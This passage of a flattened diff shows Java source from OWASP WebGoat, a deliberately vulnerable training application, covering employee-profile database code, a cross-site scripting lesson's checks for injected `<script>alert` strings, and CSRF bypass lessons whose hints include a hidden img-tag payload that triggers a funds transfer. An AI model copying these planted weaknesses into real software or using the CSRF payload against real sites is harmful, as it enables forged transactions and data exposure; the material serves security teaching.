String query = "UPDATE employee SET first_name = ?, last_name = ?, ssn = ?, title = ?, phone = ?, address1 = ?, address2 = ?," String query = "UPDATE employee SET first_name = ?, last_name = ?, ssn = ?, title = ?, phone = ?, address1 = ?, address2 = ?,"
+ " manager = ?, start_date = ?, ccn = ?, ccn_limit = ?," + " manager = ?, start_date = ?, ccn = ?, ccn_limit = ?,"
+ " personal_description = ? WHERE userid = ?;"; + " personal_description = ? WHERE userid = ?;";
try try
{ {
PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query, PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query,
ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
ps.setString(1, employee.getFirstName()); ps.setString(1, employee.getFirstName());
ps.setString(2, employee.getLastName()); ps.setString(2, employee.getLastName());
ps.setString(3, employee.getSsn()); ps.setString(3, employee.getSsn());
ps.setString(4, employee.getTitle()); ps.setString(4, employee.getTitle());
ps.setString(5, employee.getPhoneNumber()); ps.setString(5, employee.getPhoneNumber());
ps.setString(6, employee.getAddress1()); ps.setString(6, employee.getAddress1());
ps.setString(7, employee.getAddress2()); ps.setString(7, employee.getAddress2());
ps.setInt(8, employee.getManager()); ps.setInt(8, employee.getManager());
ps.setString(9, employee.getStartDate()); ps.setString(9, employee.getStartDate());
ps.setString(10, employee.getCcn()); ps.setString(10, employee.getCcn());
ps.setInt(11, employee.getCcnLimit()); ps.setInt(11, employee.getCcnLimit());
ps.setString(12, employee.getPersonalDescription()); ps.setString(12, employee.getPersonalDescription());
ps.setInt(13, subjectId); ps.setInt(13, subjectId);
ps.execute(); ps.execute();
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
s.setMessage("Error updating employee profile"); s.setMessage("Error updating employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error updating employee profile"); s.setMessage("Error updating employee profile");
e.printStackTrace(); e.printStackTrace();
} }
} }
public void doChangeEmployeeProfile_BACKUP(WebSession s, int userId, int subjectId, Employee employee) public void doChangeEmployeeProfile_BACKUP(WebSession s, int userId, int subjectId, Employee employee)
throws UnauthorizedException throws UnauthorizedException
{ {
try try
{ {
// Note: The password field is ONLY set by ChangePassword // Note: The password field is ONLY set by ChangePassword
String query = "UPDATE employee SET first_name = ?, last_name = ?, ssn = ?, title = ?, phone = ?, address1 = ?, address2 = ?," String query = "UPDATE employee SET first_name = ?, last_name = ?, ssn = ?, title = ?, phone = ?, address1 = ?, address2 = ?,"
+ " manager = ?, start_date = ?, ccn = ?, ccn_limit = ?," + " manager = ?, start_date = ?, ccn = ?, ccn_limit = ?,"
+ " personal_description = ? WHERE userid = ?;"; + " personal_description = ? WHERE userid = ?;";
try try
{ {
PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query, PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query,
ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
ps.setString(1, employee.getFirstName()); ps.setString(1, employee.getFirstName());
ps.setString(2, employee.getLastName()); ps.setString(2, employee.getLastName());
ps.setString(3, employee.getSsn()); ps.setString(3, employee.getSsn());
ps.setString(4, employee.getTitle()); ps.setString(4, employee.getTitle());
ps.setString(5, employee.getPhoneNumber()); ps.setString(5, employee.getPhoneNumber());
ps.setString(6, employee.getAddress1()); ps.setString(6, employee.getAddress1());
ps.setString(7, employee.getAddress2()); ps.setString(7, employee.getAddress2());
ps.setInt(8, employee.getManager()); ps.setInt(8, employee.getManager());
ps.setString(9, employee.getStartDate()); ps.setString(9, employee.getStartDate());
ps.setString(10, employee.getCcn()); ps.setString(10, employee.getCcn());
ps.setInt(11, employee.getCcnLimit()); ps.setInt(11, employee.getCcnLimit());
ps.setString(12, employee.getPersonalDescription()); ps.setString(12, employee.getPersonalDescription());
ps.setInt(13, subjectId); ps.setInt(13, subjectId);
ps.executeUpdate(query); ps.executeUpdate(query);
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
s.setMessage("Error updating employee profile"); s.setMessage("Error updating employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error updating employee profile"); s.setMessage("Error updating employee profile");
e.printStackTrace(); e.printStackTrace();
} }
} }
public void createEmployeeProfile(WebSession s, int userId, Employee employee) throws UnauthorizedException public void createEmployeeProfile(WebSession s, int userId, Employee employee) throws UnauthorizedException
{ {
try try
{ {
// FIXME: Cannot choose the id because we cannot guarantee uniqueness // FIXME: Cannot choose the id because we cannot guarantee uniqueness
int nextId = getNextUID(s); int nextId = getNextUID(s);
String query = "INSERT INTO employee VALUES ( " + nextId + ", ?,?,?,?,?,?,?,?,?,?,?,?,?,?)"; String query = "INSERT INTO employee VALUES ( " + nextId + ", ?,?,?,?,?,?,?,?,?,?,?,?,?,?)";
// System.out.println("Query: " + query); // System.out.println("Query: " + query);
try try
{ {
PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query); PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query);
ps.setString(1, employee.getFirstName().toLowerCase()); ps.setString(1, employee.getFirstName().toLowerCase());
ps.setString(2, employee.getLastName()); ps.setString(2, employee.getLastName());
ps.setString(3, employee.getSsn()); ps.setString(3, employee.getSsn());
ps.setString(4, employee.getTitle()); ps.setString(4, employee.getTitle());
ps.setString(5, employee.getPhoneNumber()); ps.setString(5, employee.getPhoneNumber());
ps.setString(6, employee.getAddress1()); ps.setString(6, employee.getAddress1());
ps.setString(7, employee.getAddress2()); ps.setString(7, employee.getAddress2());
ps.setInt(8, employee.getManager()); ps.setInt(8, employee.getManager());
ps.setString(9, employee.getStartDate()); ps.setString(9, employee.getStartDate());
ps.setString(10, employee.getCcn()); ps.setString(10, employee.getCcn());
ps.setInt(11, employee.getCcnLimit()); ps.setInt(11, employee.getCcnLimit());
ps.setString(12, employee.getDisciplinaryActionDate()); ps.setString(12, employee.getDisciplinaryActionDate());
ps.setString(13, employee.getDisciplinaryActionNotes()); ps.setString(13, employee.getDisciplinaryActionNotes());
ps.setString(14, employee.getPersonalDescription()); ps.setString(14, employee.getPersonalDescription());
ps.execute(); ps.execute();
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
s.setMessage("Error updating employee profile"); s.setMessage("Error updating employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error updating employee profile"); s.setMessage("Error updating employee profile");
e.printStackTrace(); e.printStackTrace();
} }
} }
public void createEmployeeProfile_BACKUP(WebSession s, int userId, Employee employee) throws UnauthorizedException public void createEmployeeProfile_BACKUP(WebSession s, int userId, Employee employee) throws UnauthorizedException
{ {
try try
{ {
// FIXME: Cannot choose the id because we cannot guarantee uniqueness // FIXME: Cannot choose the id because we cannot guarantee uniqueness
int nextId = getNextUID(s); int nextId = getNextUID(s);
String query = "INSERT INTO employee VALUES ( " + nextId + ", ?,?,?,?,?,?,?,?,?,?,?,?,?,?)"; String query = "INSERT INTO employee VALUES ( " + nextId + ", ?,?,?,?,?,?,?,?,?,?,?,?,?,?)";
// System.out.println("Query: " + query); // System.out.println("Query: " + query);
try try
{ {
PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query); PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query);
ps.setString(1, employee.getFirstName().toLowerCase()); ps.setString(1, employee.getFirstName().toLowerCase());
ps.setString(2, employee.getLastName()); ps.setString(2, employee.getLastName());
ps.setString(3, employee.getSsn()); ps.setString(3, employee.getSsn());
ps.setString(4, employee.getTitle()); ps.setString(4, employee.getTitle());
ps.setString(5, employee.getPhoneNumber()); ps.setString(5, employee.getPhoneNumber());
ps.setString(6, employee.getAddress1()); ps.setString(6, employee.getAddress1());
ps.setString(7, employee.getAddress2()); ps.setString(7, employee.getAddress2());
ps.setInt(8, employee.getManager()); ps.setInt(8, employee.getManager());
ps.setString(9, employee.getStartDate()); ps.setString(9, employee.getStartDate());
ps.setString(10, employee.getCcn()); ps.setString(10, employee.getCcn());
ps.setInt(11, employee.getCcnLimit()); ps.setInt(11, employee.getCcnLimit());
ps.setString(12, employee.getDisciplinaryActionDate()); ps.setString(12, employee.getDisciplinaryActionDate());
ps.setString(13, employee.getDisciplinaryActionNotes()); ps.setString(13, employee.getDisciplinaryActionNotes());
ps.setString(14, employee.getPersonalDescription()); ps.setString(14, employee.getPersonalDescription());
ps.execute(); ps.execute();
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
s.setMessage("Error updating employee profile"); s.setMessage("Error updating employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error updating employee profile"); s.setMessage("Error updating employee profile");
e.printStackTrace(); e.printStackTrace();
} }
} }
/** /**
* Validates that the given parameter value matches the given regular expression pattern. * Validates that the given parameter value matches the given regular expression pattern.
* *
* @param parameter * @param parameter
* @param pattern * @param pattern
* @return * @return
* @throws ValidationException * @throws ValidationException
*/ */
protected String validate(final String parameter, final Pattern pattern) throws ValidationException protected String validate(final String parameter, final Pattern pattern) throws ValidationException
{ {
Matcher matcher = pattern.matcher(parameter); Matcher matcher = pattern.matcher(parameter);
if (!matcher.matches()) throw new ValidationException(); if (!matcher.matches()) throw new ValidationException();
return parameter; return parameter;
} }
private int getNextUID(WebSession s) private int getNextUID(WebSession s)
{ {
int uid = -1; int uid = -1;
try try
{ {
Statement statement = WebSession.getConnection(s).createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, Statement statement = WebSession.getConnection(s).createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery("select max(userid) as uid from employee"); ResultSet results = statement.executeQuery("select max(userid) as uid from employee");
results.first(); results.first();
uid = results.getInt("uid"); uid = results.getInt("uid");
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
sqle.printStackTrace(); sqle.printStackTrace();
s.setMessage("Error updating employee profile"); s.setMessage("Error updating employee profile");
} }
return uid + 1; return uid + 1;
} }
} }

View File

@ -44,170 +44,170 @@ import org.owasp.webgoat.session.WebSession;
public class ViewProfile extends DefaultLessonAction public class ViewProfile extends DefaultLessonAction
{ {
public ViewProfile(GoatHillsFinancial lesson, String lessonName, String actionName) public ViewProfile(GoatHillsFinancial lesson, String lessonName, String actionName)
{ {
super(lesson, lessonName, actionName); super(lesson, lessonName, actionName);
} }
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException, public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
UnauthorizedException, ValidationException UnauthorizedException, ValidationException
{ {
getLesson().setCurrentAction(s, getActionName()); getLesson().setCurrentAction(s, getActionName());
if (isAuthenticated(s)) if (isAuthenticated(s))
{ {
int userId = getIntSessionAttribute(s, getLessonName() + "." + CrossSiteScripting.USER_ID); int userId = getIntSessionAttribute(s, getLessonName() + "." + CrossSiteScripting.USER_ID);
int employeeId = -1; int employeeId = -1;
try try
{ {
// User selected employee // User selected employee
employeeId = s.getParser().getIntParameter(CrossSiteScripting.EMPLOYEE_ID); employeeId = s.getParser().getIntParameter(CrossSiteScripting.EMPLOYEE_ID);
} catch (ParameterNotFoundException e) } catch (ParameterNotFoundException e)
{ {
// May be an internally selected employee // May be an internally selected employee
employeeId = getIntRequestAttribute(s, getLessonName() + "." + CrossSiteScripting.EMPLOYEE_ID); employeeId = getIntRequestAttribute(s, getLessonName() + "." + CrossSiteScripting.EMPLOYEE_ID);
} }
Employee employee = getEmployeeProfile(s, userId, employeeId); Employee employee = getEmployeeProfile(s, userId, employeeId);
setSessionAttribute(s, getLessonName() + "." + CrossSiteScripting.EMPLOYEE_ATTRIBUTE_KEY, employee); setSessionAttribute(s, getLessonName() + "." + CrossSiteScripting.EMPLOYEE_ATTRIBUTE_KEY, employee);
updateLessonStatus(s, employee); updateLessonStatus(s, employee);
} }
else else
throw new UnauthenticatedException(); throw new UnauthenticatedException();
} }
public String getNextPage(WebSession s) public String getNextPage(WebSession s)
{ {
return CrossSiteScripting.VIEWPROFILE_ACTION; return CrossSiteScripting.VIEWPROFILE_ACTION;
} }
public Employee getEmployeeProfile(WebSession s, int userId, int subjectUserId) throws UnauthorizedException public Employee getEmployeeProfile(WebSession s, int userId, int subjectUserId) throws UnauthorizedException
{ {
Employee profile = null; Employee profile = null;
// Query the database for the profile data of the given employee // Query the database for the profile data of the given employee
try try
{ {
String query = "SELECT * FROM employee WHERE userid = " + subjectUserId; String query = "SELECT * FROM employee WHERE userid = " + subjectUserId;
try try
{ {
Statement answer_statement = WebSession.getConnection(s) Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query); ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.next()) if (answer_results.next())
{ {
// Note: Do NOT get the password field. // Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"), profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
.getString("title"), answer_results.getString("phone"), answer_results .getString("title"), answer_results.getString("phone"), answer_results
.getString("address1"), answer_results.getString("address2"), answer_results .getString("address1"), answer_results.getString("address2"), answer_results
.getInt("manager"), answer_results.getString("start_date"), answer_results .getInt("manager"), answer_results.getString("start_date"), answer_results
.getInt("salary"), answer_results.getString("ccn"), answer_results .getInt("salary"), answer_results.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description")); .getString("disciplined_notes"), answer_results.getString("personal_description"));
/* /*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + * System.out.println("Retrieved employee from db: " + profile.getFirstName() +
* " " + profile.getLastName() + " (" + profile.getId() + ")"); * " " + profile.getLastName() + " (" + profile.getId() + ")");
*/} */}
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
s.setMessage("Error getting employee profile"); s.setMessage("Error getting employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error getting employee profile"); s.setMessage("Error getting employee profile");
e.printStackTrace(); e.printStackTrace();
} }
return profile; return profile;
} }
public Employee getEmployeeProfile_BACKUP(WebSession s, int userId, int subjectUserId) throws UnauthorizedException public Employee getEmployeeProfile_BACKUP(WebSession s, int userId, int subjectUserId) throws UnauthorizedException
{ {
// Query the database to determine if this employee has access to this function // Query the database to determine if this employee has access to this function
// Query the database for the profile data of the given employee if "owned" by the given // Query the database for the profile data of the given employee if "owned" by the given
// user // user
Employee profile = null; Employee profile = null;
// Query the database for the profile data of the given employee // Query the database for the profile data of the given employee
try try
{ {
String query = "SELECT * FROM employee WHERE userid = " + subjectUserId; String query = "SELECT * FROM employee WHERE userid = " + subjectUserId;
try try
{ {
Statement answer_statement = WebSession.getConnection(s) Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query); ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.next()) if (answer_results.next())
{ {
// Note: Do NOT get the password field. // Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"), profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
.getString("title"), answer_results.getString("phone"), answer_results .getString("title"), answer_results.getString("phone"), answer_results
.getString("address1"), answer_results.getString("address2"), answer_results .getString("address1"), answer_results.getString("address2"), answer_results
.getInt("manager"), answer_results.getString("start_date"), answer_results .getInt("manager"), answer_results.getString("start_date"), answer_results
.getInt("salary"), answer_results.getString("ccn"), answer_results .getInt("salary"), answer_results.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description")); .getString("disciplined_notes"), answer_results.getString("personal_description"));
/* /*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + * System.out.println("Retrieved employee from db: " + profile.getFirstName() +
* " " + profile.getLastName() + " (" + profile.getId() + ")"); * " " + profile.getLastName() + " (" + profile.getId() + ")");
*/} */}
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
s.setMessage("Error getting employee profile"); s.setMessage("Error getting employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error getting employee profile"); s.setMessage("Error getting employee profile");
e.printStackTrace(); e.printStackTrace();
} }
return profile; return profile;
} }
private void updateLessonStatus(WebSession s, Employee employee) private void updateLessonStatus(WebSession s, Employee employee)
{ {
String stage = getStage(s); String stage = getStage(s);
int userId = -1; int userId = -1;
try try
{ {
userId = getIntSessionAttribute(s, getLessonName() + "." + CrossSiteScripting.USER_ID); userId = getIntSessionAttribute(s, getLessonName() + "." + CrossSiteScripting.USER_ID);
} catch (ParameterNotFoundException pnfe) } catch (ParameterNotFoundException pnfe)
{ {
} }
if (CrossSiteScripting.STAGE1.equals(stage)) if (CrossSiteScripting.STAGE1.equals(stage))
{ {
String address1 = employee.getAddress1().toLowerCase(); String address1 = employee.getAddress1().toLowerCase();
if (userId != employee.getId() && address1.indexOf("<script>") > -1 && address1.indexOf("alert") > -1 if (userId != employee.getId() && address1.indexOf("<script>") > -1 && address1.indexOf("alert") > -1
&& address1.indexOf("</script>") > -1) && address1.indexOf("</script>") > -1)
{ {
setStageComplete(s, CrossSiteScripting.STAGE1); setStageComplete(s, CrossSiteScripting.STAGE1);
} }
} }
else if (CrossSiteScripting.STAGE3.equals(stage)) else if (CrossSiteScripting.STAGE3.equals(stage))
{ {
String address2 = employee.getAddress1().toLowerCase(); String address2 = employee.getAddress1().toLowerCase();
if (address2.indexOf("<script>") > -1 && address2.indexOf("alert") > -1 if (address2.indexOf("<script>") > -1 && address2.indexOf("alert") > -1
&& address2.indexOf("</script>") > -1) && address2.indexOf("</script>") > -1)
{ {
setStageComplete(s, CrossSiteScripting.STAGE3); setStageComplete(s, CrossSiteScripting.STAGE3);
} }
} }
else if (CrossSiteScripting.STAGE4.equals(stage)) else if (CrossSiteScripting.STAGE4.equals(stage))
{ {
if (employee.getAddress1().toLowerCase().indexOf("&lt;") > -1) if (employee.getAddress1().toLowerCase().indexOf("&lt;") > -1)
{ {
setStageComplete(s, CrossSiteScripting.STAGE4); setStageComplete(s, CrossSiteScripting.STAGE4);
} }
} }
} }
} }

View File

@ -49,137 +49,137 @@ import org.owasp.webgoat.util.HtmlEncoder;
*/ */
public class CsrfPromptByPass extends CSRF public class CsrfPromptByPass extends CSRF
{ {
protected static final String TRANSFER_FUND_AMOUNT_ATTRIBUTE = "transferFundAmount"; protected static final String TRANSFER_FUND_AMOUNT_ATTRIBUTE = "transferFundAmount";
protected static final String CANCEL_TRANSFER = "CANCEL"; protected static final String CANCEL_TRANSFER = "CANCEL";
protected static final String CONFIRM_TRANFER = "CONFIRM"; protected static final String CONFIRM_TRANFER = "CONFIRM";
/** /**
* if TRANSFER_FUND_PARAMETER is a parameter, them doTransfer is invoked. doTranser presents the * if TRANSFER_FUND_PARAMETER is a parameter, them doTransfer is invoked. doTranser presents the
* web content to confirm and then execute a simulated transfer of funds. An initial request * web content to confirm and then execute a simulated transfer of funds. An initial request
* should have a dollar amount specified. The amount will be stored and a confirmation form is presented. * should have a dollar amount specified. The amount will be stored and a confirmation form is presented.
* The confirmation can be canceled or confirmed. Confirming the transfer will mark this lesson as completed. * The confirmation can be canceled or confirmed. Confirming the transfer will mark this lesson as completed.
* *
* @param s * @param s
* @return Element will appropriate web content for a transfer of funds. * @return Element will appropriate web content for a transfer of funds.
*/ */
protected Element doTransfer(WebSession s) { protected Element doTransfer(WebSession s) {
String transferFunds = HtmlEncoder.encode(s.getParser().getRawParameter(TRANSFER_FUNDS_PARAMETER, "")); String transferFunds = HtmlEncoder.encode(s.getParser().getRawParameter(TRANSFER_FUNDS_PARAMETER, ""));
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
if (transferFunds.length() != 0) { if (transferFunds.length() != 0) {
HttpSession httpSession = s.getRequest().getSession(); HttpSession httpSession = s.getRequest().getSession();
Integer transferAmount = (Integer) httpSession.getAttribute(TRANSFER_FUND_AMOUNT_ATTRIBUTE); Integer transferAmount = (Integer) httpSession.getAttribute(TRANSFER_FUND_AMOUNT_ATTRIBUTE);
if (transferFunds.equalsIgnoreCase(TRANSFER_FUNDS_PAGE)){ if (transferFunds.equalsIgnoreCase(TRANSFER_FUNDS_PAGE)){
//present transfer form //present transfer form
ec.addElement(new H1("Electronic Transfer:")); ec.addElement(new H1("Electronic Transfer:"));
String action = getLink(); String action = getLink();
Form form = new Form(action, Form.POST); Form form = new Form(action, Form.POST);
form.addElement( new Input(Input.text, TRANSFER_FUNDS_PARAMETER, "0")); form.addElement( new Input(Input.text, TRANSFER_FUNDS_PARAMETER, "0"));
//if this token is present we won't mark the lesson as completed //if this token is present we won't mark the lesson as completed
form.addElement( new Input(Input.submit)); form.addElement( new Input(Input.submit));
ec.addElement(form); ec.addElement(form);
} else if (transferFunds.equalsIgnoreCase(CONFIRM_TRANFER) && transferAmount != null ){ } else if (transferFunds.equalsIgnoreCase(CONFIRM_TRANFER) && transferAmount != null ){
//transfer is confirmed //transfer is confirmed
ec.addElement(new H1("Electronic Transfer Complete")); ec.addElement(new H1("Electronic Transfer Complete"));
ec.addElement(new StringElement("Amount Transfered: "+transferAmount)); ec.addElement(new StringElement("Amount Transfered: "+transferAmount));
makeSuccess(s); makeSuccess(s);
} else if (transferFunds.equalsIgnoreCase(CANCEL_TRANSFER)){ } else if (transferFunds.equalsIgnoreCase(CANCEL_TRANSFER)){
//clear any pending fund transfer //clear any pending fund transfer
s.getRequest().removeAttribute(TRANSFER_FUND_AMOUNT_ATTRIBUTE); s.getRequest().removeAttribute(TRANSFER_FUND_AMOUNT_ATTRIBUTE);
} else if (transferFunds.length() > 0){ } else if (transferFunds.length() > 0){
//save the transfer amount in the session //save the transfer amount in the session
transferAmount = new Integer(transferFunds); transferAmount = new Integer(transferFunds);
httpSession.setAttribute(TRANSFER_FUND_AMOUNT_ATTRIBUTE, transferAmount); httpSession.setAttribute(TRANSFER_FUND_AMOUNT_ATTRIBUTE, transferAmount);
//prompt for confirmation //prompt for confirmation
ec.addElement(new H1("Electronic Transfer Confirmation:")); ec.addElement(new H1("Electronic Transfer Confirmation:"));
ec.addElement(new StringElement("Amount to transfer: "+transferAmount)); ec.addElement(new StringElement("Amount to transfer: "+transferAmount));
ec.addElement(new BR()); ec.addElement(new BR());
String action = getLink(); String action = getLink();
Form form = new Form(action, Form.POST); Form form = new Form(action, Form.POST);
form.addElement( new Input(Input.submit, TRANSFER_FUNDS_PARAMETER, CONFIRM_TRANFER)); form.addElement( new Input(Input.submit, TRANSFER_FUNDS_PARAMETER, CONFIRM_TRANFER));
form.addElement( new Input(Input.submit, TRANSFER_FUNDS_PARAMETER, CANCEL_TRANSFER)); form.addElement( new Input(Input.submit, TRANSFER_FUNDS_PARAMETER, CANCEL_TRANSFER));
ec.addElement(form); ec.addElement(form);
} }
} }
// white space // white space
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new BR()); ec.addElement(new BR());
return ec; return ec;
} }
/** /**
* @param s current web session * @param s current web session
* @return true if the page should be rendered as a Transfer of funds page or false for the normal message posting page. * @return true if the page should be rendered as a Transfer of funds page or false for the normal message posting page.
*/ */
protected boolean isTransferFunds(WebSession s) { protected boolean isTransferFunds(WebSession s) {
String transferFunds = s.getParser().getRawParameter(TRANSFER_FUNDS_PARAMETER, ""); String transferFunds = s.getParser().getRawParameter(TRANSFER_FUNDS_PARAMETER, "");
if (transferFunds.length() != 0){ if (transferFunds.length() != 0){
return true; return true;
} }
return false; return false;
} }
@Override @Override
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.XSS; return Category.XSS;
} }
private final static Integer DEFAULT_RANKING = new Integer(122); private final static Integer DEFAULT_RANKING = new Integer(122);
@Override @Override
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
@Override @Override
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add("Add 'transferFunds=400' to the URL and inspect the form that is returned"); hints.add("Add 'transferFunds=400' to the URL and inspect the form that is returned");
hints.add("Add java script to send the confirmation after requesting the transfer"); hints.add("Add java script to send the confirmation after requesting the transfer");
hints.add("Insert two images or iframes, the second with no source. Specify the onload attribute of the first to set the source of the second. "); hints.add("Insert two images or iframes, the second with no source. Specify the onload attribute of the first to set the source of the second. ");
hints.add("Include this URL in the message <pre>&lt;img src='" + getLink() hints.add("Include this URL in the message <pre>&lt;img src='" + getLink()
+ "&transferFunds=5000' width=\"1\" height=\"1\" /&gt;</pre>"); + "&transferFunds=5000' width=\"1\" height=\"1\" /&gt;</pre>");
return hints; return hints;
} }
/** /**
* Gets the title attribute of the MessageBoardScreen object * Gets the title attribute of the MessageBoardScreen object
* *
* @return The title value * @return The title value
*/ */
public String getTitle() public String getTitle()
{ {
return ("CSRF Prompt By-Pass"); return ("CSRF Prompt By-Pass");
} }
public Element getCredits() public Element getCredits()
{ {
A partnet = new A("http://www.partnet.com"); A partnet = new A("http://www.partnet.com");
partnet.setPrettyPrint(false); partnet.setPrettyPrint(false);
partnet.addElement(new StringElement("PART")); partnet.addElement(new StringElement("PART"));
partnet.addElement(new B().addElement(new StringElement("NET")).setPrettyPrint(false)); partnet.addElement(new B().addElement(new StringElement("NET")).setPrettyPrint(false));
partnet.setStyle("background-color:midnightblue;color:white"); partnet.setStyle("background-color:midnightblue;color:white");
ElementContainer credits = new ElementContainer(); ElementContainer credits = new ElementContainer();
credits.addElement(new StringElement("Contributed by ")); credits.addElement(new StringElement("Contributed by "));
credits.addElement(partnet); credits.addElement(partnet);
return credits; return credits;
} }
} }

View File

@ -51,115 +51,115 @@ import org.owasp.webgoat.util.HtmlEncoder;
*/ */
public class CsrfTokenByPass extends CsrfPromptByPass public class CsrfTokenByPass extends CsrfPromptByPass
{ {
protected static final String TRANSFER_FUNDS_PARAMETER = "transferFunds"; protected static final String TRANSFER_FUNDS_PARAMETER = "transferFunds";
private static final String CSRFTOKEN = "CSRFToken"; private static final String CSRFTOKEN = "CSRFToken";
private static final int INVALID_TOKEN = 0; private static final int INVALID_TOKEN = 0;
private final Random random; private final Random random;
public CsrfTokenByPass(){ public CsrfTokenByPass(){
super(); super();
random = new SecureRandom(); random = new SecureRandom();
} }
/** /**
* if TRANSFER_FUND_PARAMETER is a parameter, them doTransfer is invoked. doTranser presents the * if TRANSFER_FUND_PARAMETER is a parameter, them doTransfer is invoked. doTranser presents the
* web content to confirm and then execute a simulated transfer of funds. An initial request * web content to confirm and then execute a simulated transfer of funds. An initial request
* should have a dollar amount specified. The amount will be stored and a confirmation form is presented. * should have a dollar amount specified. The amount will be stored and a confirmation form is presented.
* The confirmation can be canceled or confirmed. Confirming the transfer will mark this lesson as completed. * The confirmation can be canceled or confirmed. Confirming the transfer will mark this lesson as completed.
* *
* @param s * @param s
* @return Element will appropriate web content for a transfer of funds. * @return Element will appropriate web content for a transfer of funds.
*/ */
protected Element doTransfer(WebSession s) { protected Element doTransfer(WebSession s) {
String transferFunds = HtmlEncoder.encode(s.getParser().getRawParameter(TRANSFER_FUNDS_PARAMETER, "")); String transferFunds = HtmlEncoder.encode(s.getParser().getRawParameter(TRANSFER_FUNDS_PARAMETER, ""));
String passedInTokenString = HtmlEncoder.encode(s.getParser().getRawParameter(CSRFTOKEN, "")); String passedInTokenString = HtmlEncoder.encode(s.getParser().getRawParameter(CSRFTOKEN, ""));
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
if (transferFunds.length() != 0) if (transferFunds.length() != 0)
{ {
HttpSession httpSession = s.getRequest().getSession(); HttpSession httpSession = s.getRequest().getSession();
//get tokens to validate //get tokens to validate
Integer sessionToken = (Integer) httpSession.getAttribute(CSRFTOKEN); Integer sessionToken = (Integer) httpSession.getAttribute(CSRFTOKEN);
Integer passedInToken = s.getParser().getIntParameter(CSRFTOKEN, INVALID_TOKEN); Integer passedInToken = s.getParser().getIntParameter(CSRFTOKEN, INVALID_TOKEN);
if (transferFunds.equalsIgnoreCase(TRANSFER_FUNDS_PAGE)){ if (transferFunds.equalsIgnoreCase(TRANSFER_FUNDS_PAGE)){
//generate new random token: //generate new random token:
int token = INVALID_TOKEN; int token = INVALID_TOKEN;
while (token == INVALID_TOKEN){ while (token == INVALID_TOKEN){
token = random.nextInt(); token = random.nextInt();
} }
